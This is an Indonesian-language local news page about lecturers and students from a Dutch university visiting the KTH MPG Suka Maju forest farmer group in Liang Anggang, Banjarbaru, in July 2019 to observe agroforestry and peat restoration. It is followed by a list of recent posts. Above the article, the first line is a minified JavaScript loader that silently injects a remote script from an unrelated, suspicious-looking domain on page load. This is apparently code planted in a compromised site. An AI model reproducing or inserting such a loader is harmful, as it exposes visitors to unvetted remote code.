(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Dosen Netherland Jenguk Hutan Lindung Liang Anggang


BANJARBARU, Kelompok Tani Hutan (KTH) MPG Suka Maju Hutan Lindung Kelurahan Landasan Ulin Utara Kecamatan Liang Anggang Kota Banjarbaru, Selasa (9/7/2019), menerima kunjungan tamu istimewa dari Negeri Belanda. Ialah, empat dosen dan mahasiswa Vanhall Larenstein University Netherland, yang datang untuk mengamati aktivitas binaan Dinas Kehutanan Kalsel.

Tidak hanya tamu dari Negeri Kincir Angin itu, ikut serta dalam kunjungan belajar, dari Kesatuan Pengelolaan Hutan (KPH) Kapuas 2 orang, Balai Penelitian Lingkungan Hidup dan Kehutanan (LHK) Bogor 1 orang dan dari Balai Penelitian dan Pengembangan Lingkungan Hidup dan Lingkungan (BP2LHK) Banjarbaru 1 orang

Adapun lokasi dikunjungi sebagaimana sumber informasi dari KPH Kayu Tangi, lokasi budidaya lebah madu atau  lebah kelulut, agroforestry, lokasi pembibitan, sekretariat MPG Suka Maju, sekat kanal, kebun nanas, tanaman sengon dan tempat pembuatan pupuk organik biotara.

Dinas Kehutanan Provinsi Kalimantan Selatan diwakili Bidang Pemberdayaan Masyarakat Penyuluhan dan Perhutanan Sosial (PMPPS) bersama dengan Universitas Lambung Mangkurat selaku pembina dari kelompok tani hutan, ikut mendampingi rombongan.

Peter, dosen Vanhall Larenstein University Netherland mengatakan, kedatangan mereka ingin mengamati pengelolaan dan pemanfaatan sumber daya hutan yang arif, hingga dapat menekan terjadinya kebakaran hutan dan lahan, khususnya gambut. “Kami ingin melihat peran dari kelompok tani dalam pengelolaan hutan dengan penerapan agroforestry, serta bagaimana peningkatan pendapatan petani dihubungkan dengan program restorasi gambut dan bagaimana peran pemerintah dalam pemberdayaan masyarakat,” jelasnya, ketika berada di KTH MPG Suka Maju.

Peter menuturkan, banyak inovasi telah dilakukan KTH MPG Suka Maju Hutan Lindung Liang Anggang. Begitu juga peran pemerintah dalam membantu peningkatan perkembangan kelola usaha.

Suparman, Ketua KTH setempat, menjelaskan hal yang menjadi tantangan kelompok tani hutan dalam memadukan keinginan kelompok tanpa melupakan kaidah-kaidah dalam program restorasi gambut yang sudah seharusnya berjalan. Dengan adanya kunjungan dari perguruan tinggi luar negeri ini, diharapkan dapat meningkatkan pola pikir dan pemahaman warga untuk melestarikan dan memanfaatkan lahan gambut,” katanya. (dishut)

Reporter : dishut
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.